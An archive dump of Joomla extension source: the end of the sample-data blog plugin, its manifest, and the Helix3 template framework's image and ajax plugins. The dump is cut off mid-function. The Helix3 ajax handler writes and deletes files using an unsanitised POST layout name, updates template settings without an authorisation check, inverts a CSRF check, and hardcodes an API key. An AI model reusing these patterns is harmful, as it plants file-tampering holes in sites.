				'title'     => JText::_('PLG_SAMPLEDATA_BLOG_SAMPLEDATA_MODULES_MODULE_0_TITLE'),
				'ordering'  => 1,
				'position'  => 'position-1',
				'module'    => 'mod_menu',
				'showtitle' => 0,
				'params'    => array(
					'menutype'        => $menuTypes[0],
					'startLevel'      => 1,
					'endLevel'        => 0,
					'showAllChildren' => 0,
					'class_sfx'       => ' nav-pills',
					'layout'          => '_:default',
					'cache'           => 1,
					'cache_time'      => 900,
					'cachemode'       => 'itemid',
					'module_tag'      => 'div',
					'bootstrap_size'  => 0,
					'header_tag'      => 'h3',
					'style'           => 0,
				),
			),
			array(
				'title'     => JText::_('PLG_SAMPLEDATA_BLOG_SAMPLEDATA_MODULES_MODULE_1_TITLE'),
				'ordering'  => 1,
				'position'  => 'position-1',
				'module'    => 'mod_menu',
				'access'    => 3,
				'showtitle' => 0,
				'params'    => array(
					'menutype'        => $menuTypes[1],
					'startLevel'      => 1,
					'endLevel'        => 0,
					'showAllChildren' => 1,
					'class_sfx'       => ' nav-pills',
					'layout'          => '_:default',
					'cache'           => 1,
					'cache_time'      => 900,
					'cachemode'       => 'itemid',
					'module_tag'      => 'div',
					'bootstrap_size'  => 0,
					'header_tag'      => 'h3',
					'style'           => 0,
				),
			),
			array(
				'title'     => JText::_('PLG_SAMPLEDATA_BLOG_SAMPLEDATA_MODULES_MODULE_2_TITLE'),
				'ordering'  => 6,
				'position'  => 'position-7',
				'module'    => 'mod_syndicate',
				'showtitle' => 0,
				'params'    => array(
					'display_text' => 1,
					'text'         => 'My Blog',
					'format'       => 'rss',
					'layout'       => '_:default',
					'cache'        => 0,
				),
			),
			array(
				'title'    => JText::_('PLG_SAMPLEDATA_BLOG_SAMPLEDATA_MODULES_MODULE_3_TITLE'),
				'ordering' => 4,
				'position' => 'position-7',
				'module'   => 'mod_articles_archive',
				'params'   => array(
					'count'      => 10,
					'layout'     => '_:default',
					'cache'      => 1,
					'cache_time' => 900,
					'cachemode'  => 'static',
				),
			),
			array(
				'title'    => JText::_('PLG_SAMPLEDATA_BLOG_SAMPLEDATA_MODULES_MODULE_4_TITLE'),
				'ordering' => 5,
				'position' => 'position-7',
				'module'   => 'mod_articles_popular',
				'params'   => array(
					'catid'      => $catids[0],
					'count'      => 5,
					'show_front' => 1,
					'layout'     => '_:default',
					'cache'      => 1,
					'cache_time' => 900,
					'cachemode'  => 'static',
				),
			),
			array(
				'title'    => JText::_('PLG_SAMPLEDATA_BLOG_SAMPLEDATA_MODULES_MODULE_5_TITLE'),
				'ordering' => 2,
				'position' => 'position-7',
				'module'   => 'mod_articles_category',
				'params'   => array(
					'mode'                         => 'normal',
					'show_on_article_page'         => 0,
					'show_front'                   => 'show',
					'count'                        => 6,
					'category_filtering_type'      => 1,
					'catid'                        => $catids[0],
					'show_child_category_articles' => 0,
					'levels'                       => 1,
					'author_filtering_type'        => 1,
					'author_alias_filtering_type'  => 1,
					'date_filtering'               => 'off',
					'date_field'                   => 'a.created',
					'relative_date'                => 30,
					'article_ordering'             => 'a.created',
					'article_ordering_direction'   => 'DESC',
					'article_grouping'             => 'none',
					'article_grouping_direction'   => 'krsort',
					'month_year_format'            => 'F Y',
					'item_heading'                 => 5,
					'link_titles'                  => 1,
					'show_date'                    => 0,
					'show_date_field'              => 'created',
					'show_date_format'             => JText::_('DATE_FORMAT_LC5'),
					'show_category'                => 0,
					'show_hits'                    => 0,
					'show_author'                  => 0,
					'show_introtext'               => 0,
					'introtext_limit'              => 100,
					'show_readmore'                => 0,
					'show_readmore_title'          => 1,
					'readmore_limit'               => 15,
					'layout'                       => '_:default',
					'owncache'                     => 1,
					'cache_time'                   => 900,
					'module_tag'                   => 'div',
					'bootstrap_size'               => 0,
					'header_tag'                   => 'h3',
					'style'                        => 0,
				),
			),
			array(
				'title'     => JText::_('PLG_SAMPLEDATA_BLOG_SAMPLEDATA_MODULES_MODULE_6_TITLE'),
				'ordering'  => 1,
				'position'  => 'footer',
				'module'    => 'mod_menu',
				'showtitle' => 0,
				'params'    => array(
					'menutype'        => $menuTypes[2],
					'startLevel'      => 1,
					'endLevel'        => 0,
					'showAllChildren' => 0,
					'layout'          => '_:default',
					'cache'           => 1,
					'cache_time'      => 900,
					'cachemode'       => 'itemid',
					'module_tag'      => 'div',
					'bootstrap_size'  => 0,
					'header_tag'      => 'h3',
					'style'           => 0,
				),
			),
			array(
				'title'    => JText::_('PLG_SAMPLEDATA_BLOG_SAMPLEDATA_MODULES_MODULE_7_TITLE'),
				'ordering' => 1,
				'position' => 'position-0',
				'module'   => 'mod_search',
				'params'   => array(
					'width'      => 20,
					'button_pos' => 'right',
					'opensearch' => 1,
					'layout'     => '_:default',
					'cache'      => 1,
					'cache_time' => 900,
					'cachemode'  => 'itemid',
				),
			),
			array(
				'title'     => JText::_('PLG_SAMPLEDATA_BLOG_SAMPLEDATA_MODULES_MODULE_8_TITLE'),
				'content'   => '<p><img src="images/headers/raindrops.jpg" alt="" /></p>',
				'ordering'  => 1,
				'position'  => 'position-3',
				'module'    => 'mod_custom',
				'showtitle' => 0,
				'params'    => array(
					'prepare_content' => 1,
					'layout'          => '_:default',
					'cache'           => 1,
					'cache_time'      => 900,
					'cachemode'       => 'static',
					'module_tag'      => 'div',
					'bootstrap_size'  => 0,
					'header_tag'      => 'h3',
					'style'           => 0,
				),
			),
			array(
				'title'    => JText::_('PLG_SAMPLEDATA_BLOG_SAMPLEDATA_MODULES_MODULE_9_TITLE'),
				'ordering' => 1,
				'position' => 'position-7',
				'module'   => 'mod_tags_popular',
				'params'   => array(
					'maximum'         => 8,
					'timeframe'       => 'alltime',
					'order_value'     => 'count',
					'order_direction' => 1,
					'display_count'   => 0,
					'no_results_text' => 0,
					'minsize'         => 1,
					'maxsize'         => 2,
					'layout'          => '_:default',
					'owncache'        => 1,
					'module_tag'      => 'div',
					'bootstrap_size'  => 0,
					'header_tag'      => 'h3',
					'style'           => 0,
				),
			),
			array(
				'title'    => JText::_('PLG_SAMPLEDATA_BLOG_SAMPLEDATA_MODULES_MODULE_10_TITLE'),
				'ordering' => 0,
				'position' => '',
				'module'   => 'mod_tags_similar',
				'params'   => array(
					'maximum'        => 5,
					'matchtype'      => 'any',
					'layout'         => '_:default',
					'owncache'       => 1,
					'module_tag'     => 'div',
					'bootstrap_size' => 0,
					'header_tag'     => 'h3',
					'style'          => 0,
				),
			),
			array(
				'title'     => JText::_('PLG_SAMPLEDATA_BLOG_SAMPLEDATA_MODULES_MODULE_11_TITLE'),
				'ordering'  => 4,
				'position'  => 'cpanel',
				'module'    => 'mod_stats_admin',
				'access'    => 6,
				'client_id' => 1,
				'params'    => array(
					'serverinfo'     => 1,
					'siteinfo'       => 1,
					'counter'        => 0,
					'increase'       => 0,
					'layout'         => '_:default',
					'cache'          => 1,
					'cache_time'     => 900,
					'cachemode'      => 'static',
					'module_tag'     => 'div',
					'bootstrap_size' => 6,
					'header_tag'     => 'h3',
					'style'          => 0,
				),
			),
			array(
				'title'     => JText::_('PLG_SAMPLEDATA_BLOG_SAMPLEDATA_MODULES_MODULE_12_TITLE'),
				'ordering'  => 1,
				'position'  => 'postinstall',
				'module'    => 'mod_feed',
				'client_id' => 1,
				'params'    => array(
					'rssurl'         => 'https://www.joomla.org/announcements/release-news.feed',
					'rssrtl'         => 0,
					'rsstitle'       => 1,
					'rssdesc'        => 1,
					'rssimage'       => 1,
					'rssitems'       => 3,
					'rssitemdesc'    => 1,
					'word_count'     => 0,
					'layout'         => '_:default',
					'cache'          => 1,
					'cache_time'     => 900,
					'module_tag'     => 'div',
					'bootstrap_size' => 0,
					'header_tag'     => 'h3',
					'style'          => 0,
				),
			),
		);

		foreach ($modules as $module)
		{
			// Append language suffix to title.
			$module['title'] .= $langSuffix;

			// Set values which are always the same.
			$module['id']         = 0;
			$module['asset_id']   = 0;
			$module['language']   = $language;
			$module['note']       = '';
			$module['published']  = 1;
			$module['assignment'] = 0;

			if (!isset($module['content']))
			{
				$module['content'] = '';
			}

			if (!isset($module['access']))
			{
				$module['access'] = $access;
			}

			if (!isset($module['showtitle']))
			{
				$module['showtitle'] = 1;
			}

			if (!isset($module['client_id']))
			{
				$module['client_id'] = 0;
			}

			if (!$model->save($module))
			{
				JFactory::getLanguage()->load('com_modules');
				$response            = array();
				$response['success'] = false;
				$response['message'] = JText::sprintf('PLG_SAMPLEDATA_BLOG_STEP_FAILED', 3, JText::_($model->getError()));

				return $response;
			}
		}

		$response            = array();
		$response['success'] = true;
		$response['message'] = JText::_('PLG_SAMPLEDATA_BLOG_STEP3_SUCCESS');

		return $response;
	}

	/**
	 * Adds menuitems.
	 *
	 * @param   array    $menuItems  Array holding the menuitems arrays.
	 * @param   integer  $level      Level in the category tree.
	 *
	 * @return  array  IDs of the inserted menuitems.
	 *
	 * @since  3.8.0
	 *
	 * @throws  Exception
	 */
	private function addMenuItems(array $menuItems, $level)
	{
		$itemIds = array();
		$access  = (int) $this->app->get('access', 1);
		$user    = JFactory::getUser();

		// Detect language to be used.
		$language   = Multilanguage::isEnabled() ? JFactory::getLanguage()->getTag() : '*';
		$langSuffix = ($language !== '*') ? ' (' . $language . ')' : '';

		foreach ($menuItems as $menuItem)
		{
			// Reset item.id in model state.
			$this->menuItemModel->setState('item.id', 0);

			// Set values which are always the same.
			$menuItem['id']              = 0;
			$menuItem['created_user_id'] = $user->id;
			$menuItem['alias']           = JApplicationHelper::stringURLSafe($menuItem['title']);

			// Set unicodeslugs if alias is empty
			if (trim(str_replace('-', '', $menuItem['alias']) == ''))
			{
				$unicode = JFactory::getConfig()->set('unicodeslugs', 1);
				$menuItem['alias'] = JApplicationHelper::stringURLSafe($menuItem['title']);
				JFactory::getConfig()->set('unicodeslugs', $unicode);
			}

			// Append language suffix to title.
			$menuItem['title'] .= $langSuffix;

			$menuItem['published']       = 1;
			$menuItem['language']        = $language;
			$menuItem['note']            = '';
			$menuItem['img']             = '';
			$menuItem['associations']    = array();
			$menuItem['client_id']       = 0;
			$menuItem['level']           = $level;
			$menuItem['home']            = 0;

			// Set browserNav to default if not set
			if (!isset($menuItem['browserNav']))
			{
				$menuItem['browserNav'] = 0;
			}

			// Set access to default if not set
			if (!isset($menuItem['access']))
			{
				$menuItem['access'] = $access;
			}

			// Set type to 'component' if not set
			if (!isset($menuItem['type']))
			{
				$menuItem['type'] = 'component';
			}

			// Set template_style_id to global if not set
			if (!isset($menuItem['template_style_id']))
			{
				$menuItem['template_style_id'] = 0;
			}

			// Set parent_id to root (1) if not set
			if (!isset($menuItem['parent_id']))
			{
				$menuItem['parent_id'] = 1;
			}

			if (!$this->menuItemModel->save($menuItem))
			{
				// Try two times with another alias (-1 and -2).
				$menuItem['alias'] .= '-1';

				if (!$this->menuItemModel->save($menuItem))
				{
					$menuItem['alias'] = substr_replace($menuItem['alias'], '2', -1);

					if (!$this->menuItemModel->save($menuItem))
					{
						throw new Exception($menuItem['title'] . ' => ' . $menuItem['alias'] . ' : ' . $this->menuItemModel->getError());
					}
				}
			}

			// Get ID from menuitem we just added
			$itemIds[] = $this->menuItemModel->getstate('item.id');
		}

		return $itemIds;
	}
}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             sampledata/blog/blog.xml                                                                            0000705                 00000001504 15242051520 0011241 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.8" type="plugin" group="sampledata" method="upgrade">
	<name>plg_sampledata_blog</name>
	<author>Joomla! Project</author>
	<creationDate>July 2017</creationDate>
	<copyright>(C) 2017 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.8.0</version>
	<description>PLG_SAMPLEDATA_BLOG_XML_DESCRIPTION</description>
	<files>
		<filename plugin="blog">blog.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_sampledata_blog.ini</language>
		<language tag="en-GB">en-GB.plg_sampledata_blog.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
		</fields>
	</config>
</extension>
                                                                                                                                                                                            ajax/helix3/classes/image.php                                                                       0000705                 00000004477 15242051520 0012121 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
* @package Helix3 Framework
* @author JoomShaper http://www.joomshaper.com
* @copyright Copyright (c) 2010 - 2017 JoomShaper
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

//no direct accees
defined ('_JEXEC') or die ('resticted aceess');

class Helix3Image {

	public static function createThumbs($src, $sizes = array(), $folder, $base_name, $ext) {

		list($originalWidth, $originalHeight) = getimagesize($src);

		switch($ext) {
			case 'bmp': $img = imagecreatefromwbmp($src); break;
			case 'gif': $img = imagecreatefromgif($src); break;
			case 'jpg': $img = imagecreatefromjpeg($src); break;
			case 'jpeg': $img = imagecreatefromjpeg($src); break;
			case 'png': $img = imagecreatefrompng($src); break;
		}

		if(count($sizes)) {
			$output = array();

			if($base_name) {
				$output['original'] = $folder . '/' . $base_name . '.' . $ext;
			}

			foreach ($sizes as $key => $size) {
				$targetWidth = $size[0];
				$targetHeight = $size[1];
				$ratio_thumb = $targetWidth/$targetHeight;
				$ratio_original = $originalWidth/$originalHeight;

				if ($ratio_original >= $ratio_thumb) {
					$height = $originalHeight;
					$width = ceil(($height*$targetWidth)/$targetHeight);
					$x = ceil(($originalWidth-$width)/2);
					$y = 0;
				} else {
					$width = $originalWidth;
					$height = ceil(($width*$targetHeight)/$targetWidth);
					$y = ceil(($originalHeight-$height)/2);
					$x = 0;
				}

				$new = imagecreatetruecolor($targetWidth, $targetHeight);

				if($ext == "gif" or $ext == "png") {
					imagecolortransparent($new, imagecolorallocatealpha($new, 0, 0, 0, 100));
					imagealphablending($new, false);
					imagesavealpha($new, true);
				}

				imagecopyresampled($new, $img, 0, 0, $x, $y, $targetWidth, $targetHeight, $width, $height);

				if($base_name) {
					$dest = dirname($src) . '/' . $base_name . '_' . $key . '.' . $ext;
					$output[$key] = $folder . '/' . $base_name . '_' . $key . '.' . $ext;
				} else {
					$dest = $folder . '/' . $key . '.' . $ext;
				}

				switch($ext) {
					case 'bmp': imagewbmp($new, $dest); break;
					case 'gif': imagegif($new, $dest); break;
					case 'jpg': imagejpeg($new, $dest, 100); break;
					case 'jpeg': imagejpeg($new, $dest, 100); break;
					case 'png': imagepng($new, $dest); break;
				}
			}

			return $output;
		}

		return false;
	}
}
                                                                                                                                                                                                 ajax/helix3/helix3.php                                                                              0000705                 00000060156 15242051520 0010572 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
* @package Helix3 Framework
* @author JoomShaper http://www.joomshaper.com
* @copyright Copyright (c) 2010 - 2017 JoomShaper
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

//no direct accees
defined ('_JEXEC') or die ('resticted aceess');

jimport('joomla.plugin.plugin');
jimport('joomla.filesystem.folder');
jimport('joomla.filesystem.file');
jimport('joomla.registry.registry');
jimport('joomla.image.image');

require_once __DIR__ . '/classes/image.php';

class plgAjaxHelix3 extends JPlugin
{

  function onAjaxHelix3()
  {
    $input = JFactory::getApplication()->input;
    $action = $input->post->get('action', '', 'STRING');

    if($action=='upload_image') {
      $this->upload_image();
      return;
    } else if($action=='remove_image') {
      $this->remove_image();
      return;
    }

    if ($_POST['data']) {
      $data = json_decode(json_encode($_POST['data']), true);;
      $action = $data['action'];
      $layoutName = '';

      if (isset($data['layoutName'])) {
        $layoutName = $data['layoutName'];
      }

      $template  = self::getTemplate()->template;
      $layoutPath = JPATH_SITE.'/templates/'.$template.'/layout/';

      $filepath = $layoutPath.$layoutName;

      $report = array();
      $report['action'] = 'none';
      $report['status'] = 'false';

      switch ($action) {
        case 'remove':
        if (file_exists($filepath)) {
          unlink($filepath);
          $report['action'] = 'remove';
          $report['status'] = 'true';
        }
        $report['layout'] = JFolder::files($layoutPath, '.json');
        break;

        case 'save':
        if ($layoutName) {
          $layoutName = strtolower(str_replace(' ','-',$layoutName));
        }
        $content = $data['content'];

        if ($content && $layoutName) {
          $file = fopen($layoutPath.$layoutName.'.json', 'wb');
          fwrite($file, $content);
          fclose($file);
        }
        $report['layout'] = JFolder::files($layoutPath, '.json');
        break;

        case 'load':
        if (file_exists($filepath)) {
          $content = file_get_contents($filepath);
        }

        if (isset($content) && $content) {
          echo $layoutHtml = self::loadNewLayout(json_decode($content));
        }
        die();
        break;

        case 'resetLayout':
        if($layoutName){
          echo self::resetMenuLayout($layoutName);
        }
        die();
        break;

        // Upload Image
        case 'upload_image':
        echo "Joomla";
        die();
        break;

        default:
        break;

        case 'voting':

        if (JSession::checkToken()) {
          return json_encode($report);
        }

        $rate = -1;
        $pk = 0;

        if (isset($data['user_rating'])) {
          $rate = (int)$data['user_rating'];
        }

        if (isset($data['id'])) {
          $id = str_replace('post_vote_','',$data['id']);
          $pk = (int)$id;
        }

        if ($rate >= 1 && $rate <= 5 && $id > 0)
        {
          $userIP = $_SERVER['REMOTE_ADDR'];

          $db    = JFactory::getDbo();
          $query = $db->getQuery(true);

          $query->select('*')
          ->from($db->quoteName('#__content_rating'))
          ->where($db->quoteName('content_id') . ' = ' . (int) $pk);

          $db->setQuery($query);

          try
          {
            $rating = $db->loadObject();
          }
          catch (RuntimeException $e)
          {
            return json_encode($report);
          }

          if (!$rating)
          {
            $query = $db->getQuery(true);

            $query->insert($db->quoteName('#__content_rating'))
            ->columns(array($db->quoteName('content_id'), $db->quoteName('lastip'), $db->quoteName('rating_sum'), $db->quoteName('rating_count')))
            ->values((int) $pk . ', ' . $db->quote($userIP) . ',' . (int) $rate . ', 1');

            $db->setQuery($query);

            try
            {
              $db->execute();

              $data = self::getItemRating($pk);
              $rating = $data->rating;

              $report['action'] = $rating;
              $report['status'] = 'true';

              return json_encode($report);
            }
            catch (RuntimeException $e)
            {
              return json_encode($report);;
            }
          }
          else
          {
            if ($userIP != ($rating->lastip))
            {
              $query = $db->getQuery(true);

              $query->update($db->quoteName('#__content_rating'))
              ->set($db->quoteName('rating_count') . ' = rating_count + 1')
              ->set($db->quoteName('rating_sum') . ' = rating_sum + ' . (int) $rate)
              ->set($db->quoteName('lastip') . ' = ' . $db->quote($userIP))
              ->where($db->quoteName('content_id') . ' = ' . (int) $pk);

              $db->setQuery($query);

              try
              {
                $db->execute();

                $data = self::getItemRating($pk);
                $rating = $data->rating;

                $report['action'] = $rating;
                $report['status'] = 'true';

                return json_encode($report);
              }
              catch (RuntimeException $e)
              {
                return json_encode($report);
              }
            }
            else
            {

              $report['status'] = 'invalid';
              return json_encode($report);
            }
          }
        }
        $report['action'] = 'failed';
        $report['status'] = 'false';
        return json_encode($report);
        break;

        //Font variant
        case 'fontVariants':

        $template_path = JPATH_SITE . '/templates/' . self::getTemplate()->template . '/webfonts/webfonts.json';
        $plugin_path   = JPATH_PLUGINS . '/system/helix3/assets/webfonts/webfonts.json';

        if(JFile::exists( $template_path )) {
          $json = JFile::read( $template_path );
        } else {
          $json = JFile::read( $plugin_path );
        }

        $webfonts   = json_decode($json);
        $items      = $webfonts->items;

        $output = array();
        $fontVariants = '';
        $fontSubsets = '';
        foreach ($items as $item) {
          if($item->family==$layoutName) {

            //Variants
            foreach ($item->variants as $variant) {
              $fontVariants .= '<option value="'. $variant .'">' . $variant . '</option>';
            }

            //Subsets
            foreach ($item->subsets as $subset) {
              $fontSubsets .= '<option value="'. $subset .'">' . $subset . '</option>';
            }
          }
        }

        $output['variants'] = $fontVariants;
        $output['subsets']  = $fontSubsets;

        return json_encode($output);

        break;

        //Font variant
        case 'updateFonts':

        jimport( 'joomla.filesystem.folder' );
        jimport('joomla.http.http');

        $template_path = JPATH_SITE . '/templates/' . self::getTemplate()->template . '/webfonts';

        if(!JFolder::exists( $template_path )) {
          JFolder::create( $template_path, 0755 );
        }

        $tplRegistry = new JRegistry();
        $tplParams = $tplRegistry->loadString(self::getTemplate()->params);
        $gfont_api = $tplParams->get('gfont_api', 'AIzaSyBVybAjpiMHzNyEm3ncA_RZ4WETKsLElDg');
        $url  = 'https://www.googleapis.com/webfonts/v1/webfonts?key='. $gfont_api;
        $http = new JHttp();
        $str  = $http->get($url);

        if($str->code == 200) {
          // if successfully updated
          if ( JFile::write( $template_path . '/webfonts.json', $str->body )) {
            echo "<p class='font-update-success'>Google Webfonts list successfully updated! Please refresh your browser.</p>";
          } else {
            echo "<p class='font-update-failed'>Google Webfonts update failed. Please make sure that your template folder is writable.</p>";
          }
        } elseif($str->code == 403) {
          // If got error
          $decode_msg = json_decode($str->body);
          if(isset(json_decode($str->body)->error->message) && $get_msg = json_decode($str->body)->error->message) {
            echo "<p class='font-update-failed'>". $get_msg ."</p>";
          }
        }

        die();

        break;

        //Template setting import
        case 'import':

        $template_id = filter_var( $data['template_id'], FILTER_VALIDATE_INT );

        if ( !$template_id ) {
          die();
          break;
        }

        $settings   = $data['settings'];

        $db = JFactory::getDbo();

        $query = $db->getQuery(true);

        $fields = array(
          $db->quoteName( 'params' ) . ' = ' . $db->quote( $settings )
        );

        $conditions = array(
          $db->quoteName( 'id' ) . ' = '. $db->quote( $template_id ),
          $db->quoteName('client_id') . ' = 0'
        );

        $query->update($db->quoteName('#__template_styles'))->set($fields)->where($conditions);

        $db->setQuery($query);

        $db->execute();

        die();
        break;

      }

      return json_encode($report);
    }

  }

  static public function getItemRating($pk = 0){
    $db    = JFactory::getDbo();
    $query = $db->getQuery(true);
    $query->select('ROUND(rating_sum / rating_count, 0) AS rating, rating_count')
    ->from($db->quoteName('#__content_rating'))
    ->where($db->quoteName('content_id') . ' = ' . (int) $pk);

    $db->setQuery($query);
    $data = $db->loadObject();

    return $data;
  }

  static public function resetMenuLayout($current_menu_id = 0){

    if (!$current_menu_id) {
      return;
    }

    $items  = self::menuItems();
    $item   = array();

    if (isset($items[$current_menu_id]) && !empty($items[$current_menu_id])) {
      $item = $items[$current_menu_id];
    }

    $menuItems = new JMenuSite;

    $no_child = true;
    $count = 0;
    $x_key = 0;
    $y_key = 0;
    $check_child = 0;
    $item_array = array();

    foreach ($item as $key => $id){
      $status = 0;
      if (isset($items[$id]) && is_array($items[$id])){
        $no_child = false;
        $count = $count + 1;
        $check_child = $check_child+1;
        $status = 1;
      }

      if ($check_child === 2){
        $y_key = 0;
        $x_key = $x_key + 1;
        $check_child = 1;
      }

      $item_array[$x_key][$y_key] = array($id,$status);
      $y_key = $y_key + 1;
    }

    if ($no_child === true){
      $count = 1;
    }

    if($count > 4 && $count != 6){
      $count = 4;
    }

    ob_start();

    if($no_child === true)
    {
      echo '<div class="menu-section">';
      echo '<span class="row-move"><i class="fa fa-bars"></i></span>';
      echo '<div class="spmenu sp-row">';
      echo '<div class="column sp-col-md-12" data-column="12">';
      echo '<div class="column-items-wrap">';
      if (!empty($item)) {
        echo '<h4 style="display:none" data-current_child="'.$current_menu_id.'" >'.$menuItems->getItem($current_menu_id)->title.'</h4>';
        echo '<ul class="child-menu-items">';

        foreach ($item as $key => $id)
        {
          echo '<li>'.$menuItems->getItem($id)->title.'</li>';
        }
        echo '</ul>';
      }
      echo '<div class="modules-container">';
      echo '</div>';
      echo '</div>';
      echo '</div>';
      echo '</div>';
      echo '</div>';
    }
    else
    {
      echo '<div class="menu-section">';
      echo '<span class="row-move"><i class="fa fa-bars"></i></span>';
      echo '<div class="spmenu sp-row">';

      $columnNumber = 12 / $count;
      foreach ($item_array as $key => $item_array)
      {
        echo '<div class="column sp-col-md-'.$columnNumber.'" data-column="'.$columnNumber.'">';
        echo '<div class="column-items-wrap">';

        foreach ($item_array as $key => $item)
        {
          $id = $item[0];
          echo '<h4 data-current_child="'.$id.'" >'.$menuItems->getItem($id)->title.'</h4>';
          if ($item[1])
          {
            echo '<ul class="child-menu-items">';
            echo self::create_menu($id);
            echo '</ul>';
          }
        }
        echo '<div class="modules-container"></div>';
        echo '</div>';
        echo '</div>';
      }
      echo '</div>';
      echo '</div>';
    }

    $output = ob_get_contents();
    ob_clean();

    return $output;
  }

  static public function create_menu($current_menu_id)
  {
    $items = self::menuItems();
    $menus = new JMenuSite;

    if (isset($items[$current_menu_id]))
    {
      $item = $items[$current_menu_id];
      foreach ($item as $key => $item_id)
      {
        echo '<li>';
        echo $menus->getItem($item_id)->title;
        echo '</li>';
      }
    }
  }

  static public function menuItems()
  {
    $menus = new JMenuSite;
    $menus = $menus->getMenu();
    $new = array();
    foreach ($menus as $item) {
      $new[$item->parent_id][] = $item->id;
    }
    return $new;
  }

  static public function loadNewLayout($layout_data = null){

    $lang = JFactory::getLanguage();
    $lang->load('tpl_' . self::getTemplate()->template, JPATH_SITE, $lang->getName(), true);

    ob_start();

    $colGrid = array(
      '12'        => '12',
      '66'        => '6,6',
      '444'       => '4,4,4',
      '3333'      => '3,3,3,3',
      '48'        => '4,8',
      '39'        => '3,9',
      '363'       => '3,6,3',
      '264'       => '2,6,4',
      '210'       => '2,10',
      '57'        => '5,7',
      '237'       => '2,3,7',
      '255'       => '2,5,5',
      '282'       => '2,8,2',
      '2442'      => '2,4,4,2',
    );

    if ($layout_data) {
      foreach ($layout_data as $row) {
        $rowSettings = self::getSettings($row->settings);
        $name = JText::_('HELIX_SECTION_TITLE');

        if (isset($row->settings->name)) {
          $name = $row->settings->name;
        }
        ?>
        <div class="layoutbuilder-section" <?php echo $rowSettings; ?>>
          <div class="settings-section clearfix">
            <div class="settings-left pull-left">
              <a class="row-move" href="#"><i class="fa fa-arrows"></i></a>
              <strong class="section-title"><?php echo $name; ?></strong>
            </div>
            <div class="settings-right pull-right">
              <ul class="button-group">
                <li>
                  <a class="btn btn-small add-columns" href="#"><i class="fa fa-columns"></i> <?php echo JText::_('HELIX_ADD_COLUMNS'); ?></a>
                  <ul class="column-list">
                    <?php
                    $_active = '';
                    foreach ($colGrid as $key => $grid){
                      if($key == $row->layout){
                        $_active = 'active';
                      }
                      echo '<li><a href="#" class="column-layout column-layout-' .$key. ' '.$_active.'" data-layout="'.$grid.'"></a></li>';
                      $_active ='';
                    } ?>
                    <?php
                    $active = '';
                    $customLayout = '';
                    if (!isset($colGrid[$row->layout])) {
                      $active = 'active';
                      $split = str_split($row->layout);
                      $customLayout = implode(',',$split);
                    }
                    ?>
                    <li><a href="#" class="hasTooltip column-layout-custom column-layout custom <?php echo $active; ?>" data-layout="<?php echo $customLayout; ?>" data-type='custom' data-original-title="<strong>Custom Layout</strong>"></a></li>
                  </ul>
                </li>
                <li><a class="btn btn-small add-row" href="#"><i class="fa fa-bars"></i> <?php echo JText::_('HELIX_ADD_ROW'); ?></a></li>
                <li><a class="btn btn-small row-ops-set" href="#"><i class="fa fa-gears"></i> <?php echo JText::_('HELIX_SETTINGS'); ?></a></li>
                <li><a class="btn btn-danger btn-small remove-row" href="#"><i class="fa fa-times"></i> <?php echo JText::_('HELIX_REMOVE'); ?></a></li>
              </ul>
            </div>
          </div>
          <div class="row ui-sortable">
            <?php foreach ($row->attr as $column) { $colSettings = self::getSettings($column->settings); ?>
              <div class="<?php echo $column->className; ?>" <?php echo $colSettings; ?>>
                <div class="column">
                  <?php if (isset($column->settings->column_type) && $column->settings->column_type) {
                    echo '<h6 class="col-title pull-left">Component</h6>';
                  }else{
                    if (!isset($column->settings->name)) {
                      $column->settings->name = 'none';
                    }
                    echo '<h6 class="col-title pull-left">'.$column->settings->name.'</h6>';
                  }
                  ?>
                  <a class="col-ops-set pull-right" href="#" ><i class="fa fa-gears"></i></a>
                </div>
              </div>
              <?php } ?>
            </div>
          </div>
          <?php
        }
      }
      $items = ob_get_contents();
      ob_end_clean();

      return $items;

    }

    static public function getSettings($config = null){
      $data = '';
      if (count($config)) {
        foreach ($config as $key => $value) {
          $data .= ' data-'.$key.'="'.$value.'"';
        }
      }
      return $data;
    }

    //Get template name
    private static function getTemplate() {

      $db = JFactory::getDbo();
      $query = $db->getQuery(true);
      $query->select($db->quoteName(array('template', 'params')));
      $query->from($db->quoteName('#__template_styles'));
      $query->where($db->quoteName('client_id') . ' = '. $db->quote(0));
      $query->where($db->quoteName('home') . ' = '. $db->quote(1));
      $db->setQuery($query);

      return $db->loadObject();
    }

    // Upload File
    private function upload_image() {
      $input = JFactory::getApplication()->input;
      $image = $input->files->get('image');
      $imageonly = $input->post->get('imageonly', false, 'BOOLEAN');

      $tplRegistry = new JRegistry();
      $tplParams = $tplRegistry->loadString(self::getTemplate()->params);

      $report = array();

      // User is not authorised
      if (!JFactory::getUser()->authorise('core.create', 'com_media'))
      {
        $report['status'] = false;
        $report['output'] = JText::_('You are not authorised to upload file.');
        echo json_encode($report);
        die;
      }

      if(count($image)) {

        if ($image['error'] == UPLOAD_ERR_OK) {

          $error = false;

          $params = JComponentHelper::getParams('com_media');

          // Total length of post back data in bytes.
          $contentLength = (int) $_SERVER['CONTENT_LENGTH'];

          // Instantiate the media helper
          $mediaHelper = new JHelperMedia;

          // Maximum allowed size of post back data in MB.
          $postMaxSize = $mediaHelper->toBytes(ini_get('post_max_size'));

          // Maximum allowed size of script execution in MB.
          $memoryLimit = $mediaHelper->toBytes(ini_get('memory_limit'));

          // Check for the total size of post back data.
          if (($postMaxSize > 0 && $contentLength > $postMaxSize) || ($memoryLimit != -1 && $contentLength > $memoryLimit)) {
            $report['status'] = false;
            $report['output'] = JText::_('Total size of upload exceeds the limit.');
            $error = true;
            echo json_encode($report);
            die;
          }

          $uploadMaxSize = $params->get('upload_maxsize', 0) * 1024 * 1024;
          $uploadMaxFileSize = $mediaHelper->toBytes(ini_get('upload_max_filesize'));

          if (($image['error'] == 1) || ($uploadMaxSize > 0 && $image['size'] > $uploadMaxSize) || ($uploadMaxFileSize > 0 && $image['size'] > $uploadMaxFileSize))
          {
